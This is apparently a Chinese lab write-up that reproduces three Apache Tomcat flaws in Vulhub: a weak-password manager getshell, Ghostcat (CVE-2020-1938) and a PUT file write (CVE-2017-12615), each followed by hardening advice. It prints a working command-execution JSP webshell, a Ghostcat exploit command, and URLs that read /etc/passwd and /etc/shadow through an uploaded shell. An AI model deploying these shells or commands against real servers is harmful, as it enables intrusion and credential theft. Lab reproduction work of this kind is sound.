Apache Tomcat 漏洞复现

文章目录

  • [Apache Tomcat 漏洞复现](#Apache Tomcat 漏洞复现)
    • [1. Tomcat7 弱密码和后端 Getshell 漏洞](#1. Tomcat7 弱密码和后端 Getshell 漏洞)
      • [1.1 漏洞描述](#1.1 漏洞描述)
      • [1.2 漏洞复现](#1.2 漏洞复现)
      • [1.3 漏洞利用](#1.3 漏洞利用)
        • [1.3.1 jsp小马](#1.3.1 jsp小马)
        • [1.3.2 jsp大马](#1.3.2 jsp大马)
      • [1.4 安全加固](#1.4 安全加固)
    • [2. Aapache Tomcat AJP任意文件读取/包含漏洞](#2. Aapache Tomcat AJP任意文件读取/包含漏洞)
      • [2.1 漏洞描述](#2.1 漏洞描述)
      • [2.1 漏洞复现](#2.1 漏洞复现)
      • [2.2 漏洞利用工具](#2.2 漏洞利用工具)
      • [2.4 修复建议](#2.4 修复建议)
    • [3. 通过 PUT 方法的 Tomcat 任意写入文件漏洞](#3. 通过 PUT 方法的 Tomcat 任意写入文件漏洞)
      • [3.1 漏洞描述](#3.1 漏洞描述)
      • [3.2 漏洞复现](#3.2 漏洞复现)
      • [3.3 漏洞利用](#3.3 漏洞利用)
      • [3.4 修复建议](#3.4 修复建议)

Apache Tomcat 漏洞复现

1. Tomcat7 弱密码和后端 Getshell 漏洞

链接地址:Vulhub - Docker-Compose file for vulnerability environment

1.1 漏洞描述

说明 内容
漏洞编号
漏洞名称 Tomcat7+ Weak Password && Backend Getshell Vulnerability
漏洞评级 高危
影响范围 8.0
漏洞描述 Tomcat 支持通过后端部署 war 文件,所以我们可以直接将 webshell 放入 Web 目录下。为了访问后端,需要权限。
修复方案 打补丁,上设备,升级组件

1.2 漏洞复现

环境启动

访问页面

点击管理控制平台

用户名和密码都是tomcat

进入到了tomcat后台项目管理控制台

如果黑客攻击者拿到这个控制台,就会有很大的风险。甚至可以将大型木马打包成WAR包进行部署。

1.3 漏洞利用

1.3.1 jsp小马

创建一个jsp木马

jsp 复制代码
<%
    if("023".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("</pre>");
    }
%>

然后将其打包成WAR包

然后及将打包好的WAR包进行上传即可。

上传成功

访问页面

上传的木马中写了密码为023再次访问,然后使用ls命令来查看当前目录下有哪些文件。

查看权限

env打印环境变量

1.3.2 jsp大马

Webshell:138shell update · tennc/webshell@6a88226 (github.com)

利用我们准备好的大马,将其打包成war包后进行上传

上传成功

访问成功

1.4 安全加固

  • 密码需要有字符类型要求和长度
  • 增加验证码认证或口令认证等机制
  • 文件上传点增加上传限制

2. Aapache Tomcat AJP任意文件读取/包含漏洞

链接地址:Vulhub - Docker-Compose file for vulnerability environment

2.1 漏洞描述

说明 内容
漏洞编号 CVE-2020-1938
漏洞名称 Aapache Tomcat AJP Arbitrary File Read / Include Vulnerability
漏洞评级 高危
影响范围 9.0.30
漏洞描述 由于Tomcat AJP协议中的缺陷,攻击者可以读取或包含Tomcat的Webapp目录中的任何文件。例如,攻击者可以读取 Web 应用配置文件或源代码。此外,如果目标Web应用具有文件上传功能,攻击者可以通过Ghostcat漏洞利用文件包含漏洞在目标主机上执行恶意代码。
修复方案 打补丁,上设备,升级组件

2.1 漏洞复现

环境启动

2.2 漏洞利用工具

下载漏洞利用工具链接:github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi

使用工具:

sh 复制代码
python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.188.185 -p 8009 -f WEB-INF/web.xml

文件读取成功

查看读取的web.xml文件位置

发现和我们之前读取的文件内容一致

测试是否还可以读取其他的文件

我们可以在WEB-INF目录中创建一个wuhu.txt文件并在里面输入内容

然后尝试读取该文件内容

最后验证得出,这里读取文件是有限制的,只能读取ROOT目录下的文件

2.4 修复建议

  1. 官方网站下载新版本进行升级。
  2. 直接关闭 AJP Connector,或将其监听地址改为仅监听本机 localhost。
  3. 若需使用 Tomcat AJP 协议,可根据使用版本配置协议属性设置认证凭证。

3. 通过 PUT 方法的 Tomcat 任意写入文件漏洞

链接地址:Vulhub - Docker-Compose file for vulnerability environment

3.1 漏洞描述

说明 内容
漏洞编号 CVE-2017-12615
漏洞名称 Tomcat Arbitrary Write-file Vulnerability through PUT Method
漏洞评级 高危
影响范围 8.5.19
漏洞描述 当存在漏洞的Tomcat运行在Windows/Linux主机上, 且启用了HTTP PUT请求方法( 例如, 将readonly初始化参数由默认值设置为false) , 攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的JSP的webshell文件,JSP文件中的恶意代码将能被服务器执行, 导致服务器上的数据泄露或获取服务器权限
修复方案 打补丁,上设备,升级组件

3.2 漏洞复现

环境启动

访问页面

漏洞检测

使用nuclei漏洞检测工具

./nuclei -u 192.168.188.185

3.3 漏洞利用

浏览器路径访问

http://127.0.0.1/poc.jsp?cmd=cat+%2Fetc%2Fpasswd

%2F表示/

页面显示出来etc/passwd文件内容。

测试是否可以查看shadow文件

http://127.0.0.1/poc.jsp?cmd=cat+%2Fetc%2Fshadow

测试是否可以执行命令

http://127.0.0.1/poc.jsp?cmd=whoami

3.4 修复建议

  1. 禁用 HTTP PUT 方法:为了防止该漏洞的利用,可以在 Tomcat 配置文件中设置 "readonly" 属性,禁用 HTTP PUT 方法。例如,在 server.xml 文件中,可以将 Connector 元素中的 allowTrace 属性设置为 false,禁用 TRACE 和 PUT 方法。
  2. 过滤特殊字符:应用程序应该过滤掉特殊字符,如 ".../" 或 "%2e%2e%2f",以防止攻击者通过遍历路径来写入恶意文件。可以使用字符过滤器或正则表达式,限制输入数据的格式和内容。
  3. 路径验证和权限控制:应用程序应该对上传文件的路径进行验证,并限制其访问权限。可以将上传文件保存在特定的目录中,并确保其他用户无法访问该目录。此外,还应该对上传的文件进行扫描和检测,以防止上传恶意文件。
  4. 及时更新软件版本:Tomcat 团队已经意识到 PUT 方法任意写入文件漏洞,并提供了修复版本。因此,建议立即更新受影响的 Tomcat 版本,并实施相应的补丁程序。
  5. 启用安全模式:可以通过启用 Tomcat 的安全模式来减少漏洞利用的机会。安全模式可以限制 Tomcat 的访问权限,并增加对 Web 应用程序的监控和控制。
相关推荐
坚定信念,勇往无前1 小时前
Spring Boot 如何保证接口安全
spring boot·后端·安全
H轨迹H1 小时前
Vulnhun靶机-kioptix level 4-sql注入万能密码拿到权限ssh连接利用mysql-udf漏洞提权
网络安全·渗透测试·vulnhub·靶机·web漏洞·oscp
数造科技1 小时前
紧随“可信数据空间”政策风潮,数造科技正式加入开放数据空间联盟
大数据·人工智能·科技·安全·敏捷开发
winfredzhang2 小时前
Python实战:Excel中文转拼音工具开发教程
python·安全·excel·汉字·pinyin·缩写
网安加云课堂2 小时前
课程分享 | 安全系统建设的挑战与解决方案
网络·安全·web安全
零星_AagT3 小时前
Apache-CC6链审计笔记
java·笔记·apache·代码审计
源码宝3 小时前
医院安全(不良)事件上报系统源码,基于Laravel8开发,依托其优雅的语法与强大的扩展能力
安全·不良事件上报·医院不良事件管理
海域云赵从友3 小时前
助力DeepSeek私有化部署服务:让企业AI落地更简单、更安全
人工智能·安全
黑客Ela4 小时前
网络安全营运周报
网络·安全·web安全
jingwang-cs4 小时前
内外网隔离文件传输解决方案|系统与钉钉集成+等保合规,安全提升70%
安全·中间件·钉钉·安全架构